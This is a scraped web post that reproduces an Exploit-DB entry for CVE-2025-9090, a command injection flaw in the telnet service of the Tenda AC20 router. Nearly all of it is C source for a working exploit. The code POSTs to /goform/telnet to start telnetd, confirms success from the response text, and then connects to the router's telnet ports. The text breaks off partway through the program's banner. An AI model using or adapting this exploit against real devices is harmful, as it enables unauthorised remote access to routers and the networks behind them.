{"id":13323,"date":"2025-08-18T13:50:22","date_gmt":"2025-08-18T13:50:22","guid":{"rendered":"http:\/\/localhost\/?p=13323"},"modified":"2025-08-18T13:50:22","modified_gmt":"2025-08-18T13:50:22","slug":"tenda-ac20-16030812-command-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=13323","title":{"rendered":"Tenda AC20 16.03.08.12 – Command Injection_EDB-ID:52418"},"content":{"rendered":"

{“lastseen”:”2025-08-18T18:05:35″,”description”:”\/ * Exploit Title : Tenda AC20 16.03.08.12 – Command Injection * Author : Byte Reaper * CVE …”,”published”:”2025-08-18T00:00:00″,”modified”:”2025-08-18T00:00:00″,”type”:”exploitdb”,”title”:”Tenda AC20 16.03.08.12 – Command Injection”,”source”:””,”references”:””,”id”:”EDB-ID:52418″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-9090″],”sourceData”:”\/*\\r\\n * Exploit Title : Tenda AC20 16.03.08.12 – Command Injection\\r\\n * Author : Byte Reaper\\r\\n * CVE : CVE-2025-9090 \\r\\n * Description: A vulnerability was identified in Tenda AC20 16.03.08.12. Affected is the function websFormDefine of the file \/goform\/telnet of the component Telnet Service.\\r\\n * target endpoint : \/goform\/telnet\\r\\n * place in service : http:\/\/\\u003cIP\\u003e\\r\\n * full format target url : http:\/\/\\u003cIP\\u003e\/goform\/telnet\\r\\n * Exploitation plan:\\r\\n * 1. Build full URL\\r\\n * 2. Prepare POST data (Sleep + full url + libcurl function)\\r\\n * 3. Send POST request via CURL\\r\\n * 4. Measure response: HTTP code, telnet access (23), error word (not found)\\r\\n * 5. Determine success \\u0026 finalize exploit \\r\\n *\/\\r\\n\\r\\n#include \\u003cstdio.h\\u003e\\r\\n#include \\”argparse.h\\”\\r\\n#include \\u003cstdlib.h\\u003e\\r\\n#include \\u003cstring.h\\u003e\\r\\n#include \\u003ccurl\/curl.h\\u003e\\r\\n#include \\u003carpa\/inet.h\\u003e\\r\\n#include \\u003ctime.h\\u003e\\r\\n#include \\u003cstdint.h\\u003e\\r\\n#include \\u003cunistd.h\\u003e \\r\\n#include \\u003csys\/wait.h\\u003e\\r\\n#include \\u003csys\/socket.h\\u003e\\r\\n#include \\u003cerrno.h\\u003e\\r\\n#define MAX_RESPONSE (50 * 1024 * 1024)\\r\\n#define URL 2400\\r\\n#define BUFFER 4500\\r\\nconst char *ipT = NULL;\\r\\nconst char *cookies = NULL;\\r\\nint loopF = 0;\\r\\nint verbose = 0;\\r\\nint fileCookies = 0;\\r\\nvoid exit64bit()\\r\\n{\\r\\n\\tfflush(NULL);\\r\\n\\t__asm__ volatile \\r\\n\\t(\\r\\n \\”syscall\\\\n\\\\t\\”\\r\\n :\\r\\n : \\”A\\”(0x3C), \\r\\n \\”D\\”(0)\\r\\n : \\”rcx\\”, \\r\\n \\”r11\\”, \\r\\n \\”memory\\”\\r\\n );\\r\\n fflush(NULL);\\r\\n}\\r\\n\\r\\nstruct Mem\\r\\n{\\r\\n char *buffer;\\r\\n size_t len;\\r\\n};\\r\\nsize_t write_cb(void *ptr, \\r\\n size_t size,\\r\\n size_t nmemb,\\r\\n void *userdata)\\r\\n{\\r\\n\\tif (!userdata) \\r\\n\\t{\\r\\n\\t\\treturn 0;\\r\\n\\t}\\r\\n if (size \\u0026\\u0026 nmemb \\u003e SIZE_MAX \/ size) \\r\\n {\\r\\n fprintf(stderr, \\”\\\\e[0;31m[-] size * nmemb overflow !\\\\e[0m\\\\n\\”);\\r\\n return 0;\\r\\n }\\r\\n size_t total = size * nmemb;\\r\\n struct Mem *m = (struct Mem *)userdata;\\r\\n if (total \\u003e MAX_RESPONSE || (m-\\u003elen + total + 1) \\u003e MAX_RESPONSE) \\r\\n {\\r\\n fprintf(stderr, \\”\\\\e[0;31m[-] Response too large or would exceed MAX_RESPONSE !\\\\e[0m\\\\n\\”);\\r\\n return 0;\\r\\n }\\r\\n char *tmp = realloc(m-\\u003ebuffer, m-\\u003elen + total + 1);\\r\\n if (tmp == NULL)\\r\\n {\\r\\n fprintf(stderr, \\”\\\\e[1;31m[-] Failed to allocate memory!\\\\e[0m\\\\n\\”);\\r\\n exit64bit();\\r\\n }\\r\\n m-\\u003ebuffer = tmp;\\r\\n memcpy(\\u0026(m-\\u003ebuffer[m-\\u003elen]), ptr, total);\\r\\n m-\\u003elen += total;\\r\\n m-\\u003ebuffer[m-\\u003elen] = ‘\\\\0’;\\r\\n return total;\\r\\n}\\r\\n\\r\\nint checkLen(int len, char *buf, size_t bufcap)\\r\\n{\\r\\n if (len \\u003c 0 || (size_t)len \\u003e= bufcap)\\r\\n {\\r\\n printf(\\”\\\\e[0;31m[-] Len is Long ! \\\\e[0m\\\\n\\”);\\r\\n printf(\\”\\\\e[0;31m[-] Len %d\\\\e[0m\\\\n\\”, len);\\r\\n return 1;\\r\\n }\\r\\n else\\r\\n {\\r\\n printf(\\”\\\\e[0;34m[+] Len Is Not Long.\\\\e[0m\\\\n\\”);\\r\\n return 0;\\r\\n\\r\\n }\\r\\n return 0;\\r\\n}\\r\\n\\r\\nvoid cleanObject(CURL *c, struct curl_slist *h, char *r, size_t l)\\r\\n{\\r\\n\\t\\r\\n\\tprintf(\\”\\\\e[0;33m[+] Clean Headers…\\\\e[0m\\\\n\\”);\\r\\n\\tif (h != NULL)\\r\\n {\\r\\n \\tcurl_slist_free_all(h);\\r\\n }\\r\\n if (c != NULL)\\r\\n {\\r\\n \\tcurl_easy_cleanup(c);\\r\\n }\\r\\n printf(\\”\\\\e[0;33m[+] Clean CURL…\\\\e[0m\\\\n\\”);\\r\\n if (r != NULL)\\r\\n {\\t\\r\\n \\tfree(r);\\r\\n \\tr = NULL;\\r\\n \\tl = 0;\\r\\n }\\r\\n printf(\\”\\\\e[0;33m[+] Clean response buffer and len…\\\\e[0m\\\\n\\”);\\r\\n printf(\\”\\\\e[0;31m[+] Exit ….\\\\n\\”);\\r\\n}\\r\\nint sleepSocket()\\r\\n{\\r\\n\\tstatic int current = 2;\\r\\n\\tint timeout = current;\\r\\n\\tprintf(\\”\\\\e[0;34m[+] Timeout Socket : %d\\\\n\\”, timeout);\\r\\n\\tcurrent++;\\r\\n\\tif (current \\u003e 6)\\r\\n\\t{\\r\\n\\t\\tcurrent = 2;\\r\\n\\t}\\r\\n\\treturn timeout;\\r\\n}\\r\\nint connectionTelnet(const char *ip)\\r\\n{\\r\\n\\tint ports[] = \\r\\n\\t{\\r\\n\\t\\t23, \\r\\n\\t\\t2323\\r\\n\\t};\\r\\n\\tint num_ports = sizeof(ports) \/ sizeof(ports[0]);\\r\\n\\tfor (int i = 0; i \\u003c num_ports; i++)\\r\\n\\t{\\r\\n\\t\\tprintf(\\”\\\\e[0;36m[+] target PORT Connection telnet : %d\\\\e[0m\\\\n\\”, ports[i]);\\r\\n\\t\\tprintf(\\”\\\\e[0;36m[+] Try Connection in port : %d\\\\e[0m\\\\n\\”, ports[i]);\\r\\n\\t\\tint s;\\r\\n\\t\\tchar buffer[BUFFER];\\r\\n\\t\\tstruct sockaddr_in server;\\r\\n\\t\\ts = socket(AF_INET, SOCK_STREAM, 0);\\r\\n\\t\\tif (s \\u003c 0)\\r\\n\\t\\t{\\r\\n\\t\\t\\tperror(\\”\\\\e[0;31m[-] Error Create Socket !\\\\e[0m\\\\n\\”);\\r\\n\\t\\t\\treturn -1;\\r\\n\\t\\t}\\r\\n\\t\\tserver.sin_addr.s_addr = inet_addr(ip);\\r\\n\\t server.sin_family = AF_INET;\\r\\n\\t server.sin_port = htons(ports[i]);\\r\\n\\t struct timeval timeout;\\r\\n\\r\\n\\t int value3 = sleepSocket();\\r\\n\\t timeout.tv_sec = value3;\\r\\n\\t\\ttimeout.tv_usec = 0;\\r\\n\\t if (setsockopt(s, \\r\\n\\t \\tSOL_SOCKET, \\r\\n\\t \\tSO_RCVTIMEO, \\r\\n\\t \\t(const char*)\\u0026timeout, \\r\\n\\t \\tsizeof(timeout)) \\u003c 0) \\r\\n\\t {\\r\\n\\t \\tperror(\\”\\\\e[0;31m[-] setsockopt() Failed !\\\\e[0m\\\\n\\”);\\r\\n\\t \\texit64bit();\\r\\n\\t }\\r\\n\\t printf(\\”\\\\e[0;33m[+] Timeout Connection socket …\\\\e[0m\\\\n\\”);\\r\\n\\t \\r\\n\\t if (connect(s, \\r\\n\\t \\t(struct sockaddr *)\\u0026server, \\r\\n\\t \\tsizeof(server)) \\u003c 0) \\r\\n\\t {\\r\\n\\t \\tperror(\\”\\\\e[0;31m[-] Connect failed in Target Ip.\\\\e[0m\\\\n\\”);\\r\\n\\t \\tclose(s);\\r\\n\\t \\tcontinue;\\r\\n\\t }\\r\\n\\t printf(\\”[+] Connection Success in server.\\\\e[0m\\\\n\\”);\\r\\n\\t char banner[256];\\r\\n\\t\\tint n = recv(s, \\r\\n\\t\\t\\tbanner, \\r\\n\\t\\t\\tsizeof(banner)-1, \\r\\n\\t\\t\\t0);\\r\\n\\t\\tif (n \\u003e 0) \\r\\n\\t\\t{\\r\\n\\t\\t banner[n] = ‘\\\\0’;\\r\\n\\t\\t printf(\\”\\\\e[0;36m[+] Telnet Banner: %s\\\\e[0m\\\\n\\”, banner);\\r\\n\\t\\t}\\r\\n\\r\\n\\t close(s);\\r\\n\\t if (verbose)\\r\\n\\t {\\r\\n\\t \\tprintf(\\”\\\\e[0;33m[+] Close Socket…\\\\e[0m\\\\n\\”);\\r\\n\\t }\\r\\n\\t return ports[i]; \\r\\n\\t}\\r\\n return -1;\\r\\n}\\r\\nint systemCommand(const char *ip)\\r\\n{\\r\\n\\tpid_t pid;\\r\\n\\tprintf(\\”\\\\e[0;37m[+] Before fork (PID : %d)\\\\e[0m\\\\n\\”, getpid());\\r\\n\\tpid = fork();\\r\\n\\tif (pid \\u003c 0)\\r\\n\\t{\\r\\n\\t\\tfprintf(stderr, \\”\\\\e[0;31m[-] Fork failed !\\\\e[0m\\\\n\\”);\\r\\n\\t\\treturn 1;\\r\\n\\t}\\r\\n\\telse if (pid == 0)\\r\\n\\t{\\r\\n\\t\\tint access[] = {23, 2323, 80};\\r\\n\\t\\tint numberAccess = sizeof(access) \/ sizeof(access[0]);\\r\\n\\t\\tfor (int a = 0; a \\u003c numberAccess ; a++)\\r\\n\\t\\t{\\r\\n\\t\\t\\tprintf(\\”\\\\e[0;34m[+] child process (pid : %d)\\\\e[0m\\\\n\\”, getpid());\\r\\n\\t\\t\\tprintf(\\”\\\\e[0;34m[+] sys_execve syscall…\\\\e[0m\\\\n\\”);\\r\\n\\t\\t\\tchar ipS[90];\\r\\n\\r\\n\\t\\t\\tint lenIp = snprintf(ipS, sizeof(ipS), \\”%s\\”, ip);\\r\\n\\t\\t\\tif (checkLen(lenIp,ipS,sizeof(ipS)) == 1)\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t printf(\\”\\\\e[0;31m[-] Len Content (Target IP) is Long !\\\\e[0m\\\\n\\”);\\r\\n\\t\\t\\t printf(\\”\\\\e[0;31m[-] Result Len (ip) : %d\\\\e[0m\\\\n\\”, \\r\\n\\t\\t\\t \\tlenIp);\\r\\n\\t\\t\\t exit64bit();\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\tchar portsA[40]; \\r\\n\\t\\t\\tint lenA = snprintf(portsA, sizeof(portsA), \\”%d\\”, access[a]);\\r\\n\\t\\t\\tif (checkLen(lenA,portsA,sizeof(portsA)) == 1)\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t printf(\\”\\\\e[0;31m[-] Len Content (Target port) is Long !\\\\e[0m\\\\n\\”);\\r\\n\\t\\t\\t printf(\\”\\\\e[0;31m[-] Result Len (port) : %d\\\\e[0m\\\\n\\”, \\r\\n\\t\\t\\t \\tlenA);\\r\\n\\t\\t\\t exit64bit();\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\tconst char *c = \\”\/usr\/bin\/telnet\\”;\\r\\n\\t char *const argv[] = \\r\\n\\t \\t{\\r\\n\\t \\t\\t\\”telnet\\”, \\r\\n\\t \\t\\tipS, \\r\\n\\t \\t\\tportsA,\\r\\n\\t \\t\\tNULL\\r\\n\\t \\t};\\r\\n\\r\\n\\t const char *envp[] = {NULL};\\r\\n\\t\\t\\t__asm__ volatile\\r\\n\\t\\t\\t(\\r\\n\\t\\t\\t\\t\\”mov $59, %%rax\\\\n\\\\t\\”\\t\\r\\n\\t\\t\\t\\t\\”mov %[command], %%rdi\\\\n\\\\t\\”\\r\\n\\t\\t\\t\\t\\”mov %[v], %%rsi\\\\n\\\\t\\”\\r\\n\\t\\t\\t\\t\\”mov %[e], %%rdx\\\\n\\\\t\\”\\r\\n\\t\\t\\t\\t\\”syscall\\\\n\\\\t\\”\\r\\n\\t\\t\\t\\t:\\r\\n\\t\\t\\t\\t: [command] \\”r\\”(c),\\r\\n\\t\\t\\t\\t [v] \\”r\\”(argv),\\r\\n\\t\\t\\t\\t [e] \\”r\\” (envp)\\r\\n\\t\\t\\t\\t:\\”rax\\”,\\r\\n\\t\\t\\t\\t \\”rdi\\”,\\r\\n\\t\\t\\t\\t \\”rsi\\” ,\\r\\n\\t\\t\\t\\t \\”rdx\\”\\r\\n\\t\\t\\t);\\r\\n\\t\\t\\t__asm__ volatile\\r\\n\\t\\t\\t(\\r\\n\\t\\t\\t\\t\\”mov $0x3C, %%rax\\\\n\\\\t\\”\\r\\n\\t\\t\\t\\t\\”xor %%rdi, %%rdi\\\\n\\\\t\\”\\r\\n\\t\\t\\t\\t\\”syscall\\\\n\\\\t\\”\\r\\n\\t\\t\\t\\t:\\r\\n\\t\\t\\t\\t:\\r\\n\\t\\t\\t\\t:\\”rax\\”,\\r\\n\\t\\t\\t\\t \\”rdi\\”\\r\\n\\t\\t\\t);\\r\\n\\t\\t}\\r\\n\\t\\t\\r\\n\\t}\\r\\n\\telse \\r\\n\\t{\\r\\n\\t\\twaitpid(pid, \\r\\n\\t\\t\\tNULL, \\r\\n\\t\\t\\t0);\\r\\n \\tprintf(\\”\\\\e[0;36m[+] Child process finished.\\\\e[0m\\\\n\\”);\\r\\n\\t}\\r\\n\\treturn 0;\\r\\n}\\r\\nvoid endPoint(const char *ip)\\r\\n{\\r\\n\\tCURL *curl = curl_easy_init();\\r\\n\\tstruct Mem response ;\\r\\n\\tresponse.buffer = NULL;\\r\\n\\tresponse.len = 0;\\r\\n\\tstruct curl_slist *headers = NULL;\\r\\n\\tif (response.buffer == NULL \\u0026\\u0026 response.len == 0)\\r\\n\\t{\\r\\n\\t\\tif (verbose)\\r\\n\\t\\t{\\r\\n\\t\\t\\tprintf(\\”\\\\e[0;35m==============================\\\\e[0m\\\\n\\”);\\r\\n\\t\\t\\tprintf(\\”\\\\e[0;34m[+] Clean Response…\\\\e[0m\\\\n\\”);\\r\\n\\t\\t\\tprintf(\\”\\\\e[0;34m[+] Response buffer is NULL.\\\\e[0m\\\\n\\”);\\r\\n\\t\\t\\tprintf(\\”\\\\e[0;34m[+] Response len is 0.\\\\e[0m\\\\n\\”);\\r\\n\\t\\t\\tprintf(\\”\\\\e[0;34m[+] Clean Success.\\\\e[0m\\\\n\\”); \\r\\n\\t\\t\\tprintf(\\”\\\\e[0;35m==============================\\\\e[0m\\\\n\\”);\\r\\n\\t\\t}\\r\\n\\t}\\r\\n\\telse if (response.buffer != NULL \\u0026\\u0026 response.len != 0)\\r\\n\\t{\\r\\n\\t\\tif (verbose)\\r\\n\\t\\t{\\r\\n\\t\\t\\tprintf(\\”\\\\e[0;31m[-] Response buffer is NOT NULL And len (!=0).\\\\e[0m\\\\n\\”);\\r\\n\\t\\t\\tprintf(\\”\\\\e[0;31m[-] Clean Failed.\\\\e[0m\\\\n\\”); \\r\\n\\t\\t}\\r\\n\\t}\\r\\n\\tif (!curl)\\r\\n\\t{\\r\\n\\t\\tprintf(\\”\\\\e[0;31m[-] Error Create Object CURL !\\\\e[0m\\\\n\\”);\\r\\n\\t\\texit64bit();\\r\\n\\t}\\r\\n\\tCURLcode code;\\r\\n\\tif (curl)\\r\\n\\t{\\r\\n\\t\\tchar full[URL];\\r\\n\\t\\tint len = snprintf(full, URL, \\”http:\/\/%s\/goform\/telnet\\”,ip);\\r\\n\\t\\tif (checkLen(len,full,URL) == 1)\\r\\n\\t\\t{\\r\\n\\t\\t printf(\\”\\\\e[0;31m[-] Len Content (Full URL) is Long !\\\\e[0m\\\\n\\”);\\r\\n\\t\\t printf(\\”\\\\e[0;31m[-] Result Len (FULL URL) : %d\\\\e[0m\\\\n\\”, len);\\r\\n\\t\\t cleanObject(curl, \\r\\n\\t\\t\\t\\t\\theaders, \\r\\n\\t\\t\\t\\t\\tresponse.buffer, \\r\\n\\t\\t\\t\\t\\tresponse.len);\\r\\n\\t\\t exit64bit();\\r\\n\\t\\t}\\r\\n\\t\\tprintf(\\”\\\\e[0;34m[+] Write Success IP in FULL url.\\\\n\\”);\\r\\n\\t\\tprintf(\\”\\\\e[0;32m[+] Len Full url : %d\\\\n\\”, len);\\r\\n\\t\\tprintf(\\”\\\\e[0;37m[+] Target IP Address : %s\\\\n\\”, ip);\\r\\n\\t\\tprintf(\\”\\\\e[0;37m[+] FULL URL : %s\\\\n\\”, full);\\r\\n\\t\\tif (verbose)\\r\\n\\t\\t{\\r\\n\\t\\t\\tprintf(\\”\\\\e[0;37m[+] Check Range IP …\\\\n\\”);\\r\\n\\t\\t}\\r\\n\\t\\tstruct in_addr inaddr;\\r\\n\\t\\tif (inet_aton(ip, \\u0026inaddr))\\r\\n\\t\\t{\\r\\n\\t\\t\\tprintf(\\”\\\\e[0;36m[+] The address ‘%s’ is valid.\\\\n\\”, ip);\\r\\n\\r\\n\\t\\t}\\r\\n\\t\\telse \\r\\n\\t\\t{\\r\\n\\t\\t\\tprintf(\\”\\\\e[0;31m[-] The address ‘%s’ Not valid.\\\\n\\”, ip);\\r\\n\\t\\t\\tcleanObject(curl, \\r\\n\\t\\t\\t\\t\\theaders, \\r\\n\\t\\t\\t\\t\\tresponse.buffer, \\r\\n\\t\\t\\t\\t\\tresponse.len);\\r\\n\\t\\t\\texit64bit();\\r\\n\\t\\t}\\r\\n\\t\\tcurl_easy_setopt(curl,\\r\\n CURLOPT_URL,\\r\\n full);\\r\\n\\t if (fileCookies)\\r\\n\\t {\\r\\n\\t curl_easy_setopt(curl,\\r\\n\\t CURLOPT_COOKIEFILE,\\r\\n\\t cookies);\\r\\n\\t curl_easy_setopt(curl,\\r\\n\\t CURLOPT_COOKIEJAR,\\r\\n\\t cookies);\\r\\n\\t }\\r\\n\\t curl_easy_setopt(curl,\\r\\n\\t CURLOPT_FOLLOWLOCATION,\\r\\n\\t 1L);\\r\\n\\r\\n\\t curl_easy_setopt(curl,\\r\\n\\t CURLOPT_WRITEFUNCTION,\\r\\n\\t write_cb);\\r\\n\\t curl_easy_setopt(curl,\\r\\n\\t CURLOPT_WRITEDATA,\\r\\n\\t \\u0026response);\\r\\n\\t curl_easy_setopt(curl,\\r\\n\\t CURLOPT_CONNECTTIMEOUT,\\r\\n\\t 5L);\\r\\n\\t uint64_t raxValue;\\r\\n\\t\\traxValue = 0xE6;\\r\\n\\t\\tif (verbose)\\r\\n\\t\\t{\\r\\n\\t\\t\\tif (raxValue == 0xE6)\\r\\n\\t\\t\\t{\\r\\n\\r\\n\\t\\t\\t\\tprintf(\\”\\\\e[0;34m[+] RAX Value (SLEEP) (HEX): 0x%lX\\\\e[0m\\\\n\\”,(uint64_t)raxValue);\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\telse \\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tprintf(\\”\\\\e[0;31m[-] RAX Value Not (230): 0x%lX\\\\e[0m\\\\n\\”,(uint64_t)raxValue);\\r\\n\\t\\t\\t\\tcleanObject(curl, \\r\\n\\t\\t\\t\\t\\theaders, \\r\\n\\t\\t\\t\\t\\tresponse.buffer, \\r\\n\\t\\t\\t\\t\\tresponse.len);\\r\\n\\t\\t\\t\\texit64bit();\\r\\n\\t\\t\\t}\\r\\n\\t\\t}\\r\\n\\t\\tstruct timespec rqtp, rmtp;\\r\\n \\trqtp.tv_sec = 1;\\r\\n \\t \\trqtp.tv_nsec = 500000000; \\r\\n\\t\\tregister long reg_r10 asm(\\”r10\\”);\\r\\n\\t\\treg_r10 = 0; \\r\\n \\tprintf(\\”\\\\e[0;33m[+] Sleeping Clock Syscall Assembly (%ld seconds) \\u0026\\u0026 (%ld nanoseconds)…\\\\e[0m\\\\n\\”, \\r\\n \\t rqtp.tv_sec, rqtp.tv_nsec);\\r\\n \\tint ret; \\r\\n \\t\\t__asm__ volatile \\r\\n \\t\\t(\\r\\n\\t\\t \\”syscall\\”\\r\\n\\t\\t : \\”=a\\”(ret) \\r\\n\\t\\t : \\”a\\”(raxValue), \\r\\n\\t\\t \\”D\\”((long)0), \\r\\n\\t\\t \\”S\\”((long)0), \\r\\n\\t\\t \\”d\\”(\\u0026rqtp), \\r\\n\\t\\t \\”r\\”(reg_r10) \\r\\n\\t\\t : \\”rcx\\”, \\”r11\\”, \\”memory\\” \\r\\n\\t\\t);\\r\\n \\tprintf(\\”\\\\e[0;37m[+] Return Value sys_clock_nanosleep : %d\\\\e[0m\\\\n\\”, ret);\\r\\n \\tif (ret == -1)\\r\\n \\t{\\r\\n \\t\\tif (errno == EINTR) \\r\\n \\t\\t{\\r\\n \\t\\t\\tprintf(\\”\\\\e[0;34m[+] Sleep was interrupted. Remaining : %ld seconds %ld nanoseconds\\\\e[0m\\\\n\\”, \\r\\n \\t\\t\\t\\trqtp.tv_sec,\\r\\n \\t\\t\\t\\trqtp.tv_nsec);\\r\\n \\t\\t}\\r\\n \\t\\telse \\r\\n \\t\\t{\\r\\n \\t\\t\\tperror(\\”\\\\e[0;31m[-] Error sys_clock_nanosleep !\\\\e[0m\\\\n\\”);\\r\\n \\t\\t}\\r\\n \\t}\\r\\n \\telse \\r\\n \\t{\\r\\n \\t\\tprintf(\\”\\\\e[0;34m[+] SLeep Success.\\\\e[0m\\\\n\\”);\\r\\n \\t}\\r\\n \\tcurl_easy_setopt(curl,\\r\\n CURLOPT_TIMEOUT,\\r\\n 10L);\\r\\n curl_easy_setopt(curl,\\r\\n CURLOPT_SSL_VERIFYPEER,\\r\\n 0L);\\r\\n curl_easy_setopt(curl,\\r\\n CURLOPT_SSL_VERIFYHOST,\\r\\n 0L);\\r\\n if (verbose)\\r\\n {\\r\\n printf(\\”\\\\e[0;35m——————————————[Verbose Curl]——————————————\\\\e[0m\\\\n\\”);\\r\\n curl_easy_setopt(curl,\\r\\n CURLOPT_VERBOSE,\\r\\n 1L);\\r\\n }\\r\\n \\r\\n headers = curl_slist_append(headers,\\r\\n \\”Accept: text\/html\\”);\\r\\n headers = curl_slist_append(headers,\\r\\n \\”Accept-Encoding: gzip, deflate, br\\”);\\r\\n headers = curl_slist_append(headers,\\r\\n \\t\\”Accept-Language: en-US,en;q=0.5\\”);\\r\\n curl_easy_setopt(curl, CURLOPT_POST, 1L);\\r\\n\\t\\tcurl_easy_setopt(curl, CURLOPT_POSTFIELDS, \\”\\”); \\r\\n\\t\\tcurl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, 0L); \\r\\n curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);\\r\\n code = curl_easy_perform(curl);\\r\\n \\t\\r\\n long http_code = 0;\\r\\n if (code == CURLE_OK)\\r\\n {\\r\\n \\tprintf(\\”\\\\e[0;36m[+] Request sent successfully.\\\\e[0m\\\\n\\”);\\r\\n \\tif (verbose)\\r\\n \\t{\\r\\n \\t\\tprintf(\\”\\\\e[0;35m=========================================================== [ response (1)] ===========================================================\\\\e[0m\\\\n\\”);\\r\\n printf(\\”\\\\n%s\\\\n\\”, response.buffer);\\r\\n printf(\\”\\\\e[0;35m=======================================================================================================================================\\\\e[0m\\\\n\\”);\\r\\n \\t}\\r\\n \\tcurl_easy_getinfo(curl, \\r\\n \\t\\tCURLINFO_RESPONSE_CODE,\\r\\n \\u0026http_code);\\r\\n \\tprintf(\\”\\\\e[0;32m[+] Http Code : %ld\\\\e[0m\\\\n\\”,\\r\\n http_code);\\r\\n \\tif (http_code \\u003e= 200 \\u0026\\u0026 http_code \\u003c 300)\\r\\n \\t{\\r\\n \\t\\tprintf(\\”\\\\e[0;36m[+] Http code in Range (200 – 300).\\\\e[0m\\\\n\\”);\\r\\n \\t\\tprintf(\\”\\\\e[0;35m=========================================================== [ response (code 200) ] ===========================================================\\\\e[0m\\\\n\\”);\\r\\n printf(\\”\\\\n%s\\\\n\\”, response.buffer);\\r\\n printf(\\”\\\\e[0;35m===============================================================================================================================================\\\\e[0m\\\\n\\”);\\r\\n printf(\\”\\\\e[0;35m[+] Check response server…\\\\e[0m\\\\n\\”);\\r\\n if (response.buffer)\\r\\n {\\r\\n \\tif (strstr(response.buffer, \\”load telnetd success\\”) != NULL)\\r\\n \\t{\\r\\n \\t\\tprintf(\\”\\\\e[0;37m[+] Word found in response : \\\\\\”load telnetd success\\\\\\”\\\\e[0m\\\\n\\”);\\r\\n \\t\\tprintf(\\”\\\\e[0;36m[+] Injected successfully.\\\\e[0m\\\\n\\”);\\r\\n \\t}\\r\\n }\\r\\n \\t\\tprintf(\\”\\\\e[0;33m[+] Try telnet Connection (Socket) (23)…\\\\e[0m\\\\n\\”);\\r\\n \\t\\tprintf(\\”\\\\e[0;36m[+] Command : telnet %s %d\\\\e[0m\\\\n\\”, ip, 23);\\r\\n \\t\\tint value = connectionTelnet(ip);\\r\\n \\t\\tprintf(\\”\\\\e[0;35m[+] Result Connection : =============================\\\\e[0m\\\\n\\”);\\r\\n \\t\\tint useCommand = 0;\\r\\n \\t\\tif (value == -1)\\r\\n \\t\\t{\\r\\n \\t\\t\\tprintf(\\”\\\\e[0;31m[-] CVE-2025-9090 Not detect !\\\\n\\”);\\r\\n \\t\\t\\tprintf(\\”\\\\e[0;37m[+] Run Command System (telnet %s %d)\\\\n\\”, ip, 80);\\r\\n \\t\\t\\tuseCommand++;\\r\\n \\t\\t\\tgoto command; \\t\\t\\r\\n \\t\\t}\\r\\n \\t\\telse if (value != -1)\\r\\n \\t\\t{\\r\\n \\t\\t\\tprintf(\\”\\\\e[0;36m[+] Success Connection PORT : %d\\\\e[0m\\\\n\\”, value);\\r\\n \\t\\t\\tprintf(\\”\\\\e[0;36m[+] The server has a vulnerability Os injection (CVE-2025-9090 )\\\\e[0m\\\\n\\”);\\r\\n \\t\\t}\\r\\n \\t\\tcommand:\\r\\n \\t\\t\\tif (useCommand != 0)\\r\\n \\t\\t\\t{\\r\\n \\t\\t\\t\\tint value2 = systemCommand(ip);\\r\\n \\t\\t\\t\\tif (value2 == 1)\\r\\n \\t\\t\\t\\t{\\r\\n \\t\\t\\t\\t\\tprintf(\\”\\\\e[0;31m[-] Error Run command , Please Check ENV.\\\\e[0m\\\\n\\”);\\r\\n \\t\\t\\t\\t}\\r\\n \\t\\t\\t\\telse if (value2 == 0)\\r\\n \\t\\t\\t\\t{\\r\\n \\t\\t\\t\\t\\tprintf(\\”\\\\e[0;34m\\t[+] Run command Success.\\\\e[0m\\\\n\\”);\\r\\n \\t\\t\\t\\t}\\r\\n \\t\\t\\t}\\r\\n\\r\\n \\t\\tprintf(\\”\\\\e[0;35m=====================================================\\\\e[0m\\\\n\\”);\\r\\n\\r\\n \\t}\\r\\n \\telse \\r\\n \\t{\\r\\n \\t\\tprintf(\\”\\\\e[0;31m[-] Http code Not range (200 – 300)!\\\\e[0m\\\\n\\”);\\r\\n \\t\\tprintf(\\”\\\\e[0;35m[-] Check the reason for a negative response…\\\\e[0m\\\\n\\”);\\r\\n \\t\\tif (response.buffer)\\r\\n \\t\\t{\\r\\n \\t\\t\\tresponse.buffer[response.len] = ‘\\\\0’;\\r\\n \\t\\t\\tif (strstr(response.buffer, \\”Not found\\”) != NULL || \\r\\n \\t\\t\\t\\tstrstr(response.buffer, \\”was not found on this server\\”) != NULL)\\r\\n\\t \\t\\t{\\r\\n\\t \\t\\t\\tprintf(\\”\\\\e[0;31m[-] Word Found in Response (Not found)\\\\e[0m\\\\n\\”);\\r\\n\\t \\t\\t\\tprintf(\\”\\\\e[0;31m[-] Not found endpoint !\\\\e[0m\\\\n\\”);\\r\\n\\t \\t\\t\\tprintf(\\”\\\\e[0;31m[-] Please Check Download Service \\\\\\”Tenda AC20\\\\\\” And run.\\\\e[0m\\\\n\\”);\\r\\n\\t \\t\\t}\\r\\n \\t\\t}\\r\\n \\t\\telse \\r\\n \\t\\t{\\r\\n \\t\\t\\tprintf(\\”\\\\e[0;31m[-] Response is NULL, Error Check response !\\\\e[0m\\\\n\\”);\\r\\n \\t\\t}\\r\\n \\t\\t\\r\\n \\t}\\r\\n }\\r\\n else\\r\\n {\\r\\n fprintf(stderr, \\”\\\\e[0;31m[-] The request was not sent !\\\\e[0m\\\\n\\”);\\r\\n printf(\\”\\\\e[0;31m[-] Error : %s\\\\e[0m\\\\n\\”, curl_easy_strerror(code));\\r\\n exit64bit();\\r\\n\\r\\n }\\r\\n\\t}\\r\\n\\r\\n}\\r\\n\\r\\nint main(int argc, const char **argv)\\r\\n{\\r\\n\\tprintf(\\r\\n\\t\\t\\”\\\\e[1;31m\\”\\r\\n\\r\\n\\t\\t\\”\\t \u2584\u2588\u2588\u2588\u2588\u2584 \u2588\u2588\u2592 \u2588\u2593\u2593\u2588\u2588\u2588\u2588\u2588 \\\\n\\”\\r\\n\\t\\t\\”\\t\u2592\u2588\u2588\u2580 \u2580\u2588\u2593\u2588\u2588\u2591 \u2588\u2592\u2593\u2588 \u2580 \\\\n\\”\\r\\n\\t\\t\\”\\t\u2592\u2593\u2588 \u2584\u2593\u2588\u2588 \u2588\u2592\u2591\u2592\u2588\u2588\u2588 